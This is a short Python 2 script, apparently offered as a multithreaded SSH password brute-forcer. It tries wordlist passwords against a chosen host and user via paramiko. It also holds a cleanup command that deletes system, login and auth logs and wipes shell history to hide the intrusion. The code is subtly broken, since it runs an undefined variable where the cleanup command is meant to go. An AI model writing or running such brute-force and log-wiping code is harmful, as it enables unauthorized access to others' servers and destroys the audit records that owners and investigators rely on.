ssh bruteforcer [multi threading]

import sys
import socket
import paramiko
import os
import random
import time

from thread import *
import colorama
from colorama import Fore, Back, Style

colorama.init()

if len(sys.argv) != 6:
    print "USAGE: %s <target ip> <port> <user(default: root )> <wordlist_file> <thread>"%(sys.argv[0])
    exit()

FLAG = ""
JOBS = 0

def trying_login(psswd,user,ip,port):
    global FLAG
    global JOBS
    cleanup_cmd = "rm -rf /var/log/syslog && rm -rf /var/log/wtmp && rm -rf /var/log/btmp && rm -rf /var/log/lastlog && rm -rf /var/log/auth.* && cat /dev/null > ~/.bash_history && history -c"
    loop = True
    while loop:
        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(ip, port = port,username = user,password = psswd,timeout = 10)
            ssh.exec_command(cmd)
            FLAG = "[+] FOUND: [ %s ] [ %s ]"%(user,psswd)
            ssh.close()
            loop = False
        except paramiko.ssh_exception.AuthenticationException:
            ssh.close()
            loop = False
        except paramiko.ssh_exception.NoValidConnectionsError:
            ssh.close()
        except paramiko.ssh_exception.SSHException:
            ssh.close()
        except socket.timeout:
            ssh.close()
    JOBS -= 1

def bruter(f,threads,user,ip,port):
    global JOBS
    for i in f:
        line = i.strip("\n\r")
        loop = True
        while loop:
            if JOBS != threads:
                print "ssh:%s@%s:%s"%(user,ip,line)
                start_new_thread(trying_login,(line,user,ip,port,))
                JOBS += 1
                loop = False

ip = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]
file = sys.argv[4]
threads = int(sys.argv[5])

f = open(file,"r")
start_new_thread(bruter,(f,threads,user,ip,port,))

time.sleep(5)
while True:
    if FLAG != "":
        print FLAG
        exit()
        exit()
        exit()
        exit()
        exit()
        exit()
        exit()
        exit()
        exit()
    elif JOBS == 0:
        break